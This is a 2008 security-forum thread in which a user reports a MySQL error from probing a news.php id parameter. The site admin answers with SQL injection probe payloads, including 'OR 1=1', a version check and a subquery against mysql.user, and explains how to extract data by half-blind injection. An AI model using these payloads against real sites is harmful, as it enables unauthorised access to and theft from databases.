|
|
|
|
Menu |
|
|
Home |
| |
|
Discussions |
| |
|
Tools |
| |
|
Affiliates |
| |
|
Content |
| |
|
Info |
| | |
|
|
|
|
|
User Info |
|
Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 55
Members: 0
Total: 55
|
|
|
|
|
|
Full disclosure |
|
|
|
|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Invalid SQL: Update news Set |
|
Posted: Wed Jan 30, 2008 12:29 pm |
|
|
nox |
Advanced user |
|
|
Joined: Dec 29, 2007 |
Posts: 100 |
Location: c://windows/system32 |
|
|
|
|
|
|
hi alll , i find this Error Message ?
What do I do ?
i test all number column !!!
Code: | Erreur de base de donn饠: Invalid SQL: Update news Set hit = hit+ 1 Where idnews = -11\'a
Erreur interne : 1064 (You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\'a' at line 1)
Session halted. |
? |
|
_________________ ..::::[ Waraxe.us is the BEST and the TOP ]::::.. |
|
|
|
|
|
|
|
Posted: Wed Jan 30, 2008 1:59 pm |
|
|
waraxe |
Site admin |
|
|
Joined: May 11, 2004 |
Posts: 2407 |
Location: Estonia, Tartu |
|
|
|
|
|
|
First, you don't need single quotes:
Code: |
/news.php?id=-11+f00bar
|
Next, try to get syntax right with by testing various stuff:
Code: |
/news.php?id=-11+OR+1=1+
|
Now, you have sql injection in UPDATE clause, but in "WHERE" condition.
So no arbitrary data alteration here. But in case of mysql 4.x you can use subqueries feature for fetching any data from database.
Code: |
/news.php?id=1+AND+LENGTH(@@version)>3
|
Code: |
/news.php?id=1+AND+(SELECT+COUNT(*)+FROM+mysql.user)>0
|
This is half-blind sql injection, it's not easy to exploit - you must have custom script written or use some sql injection tools. |
|
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
|
|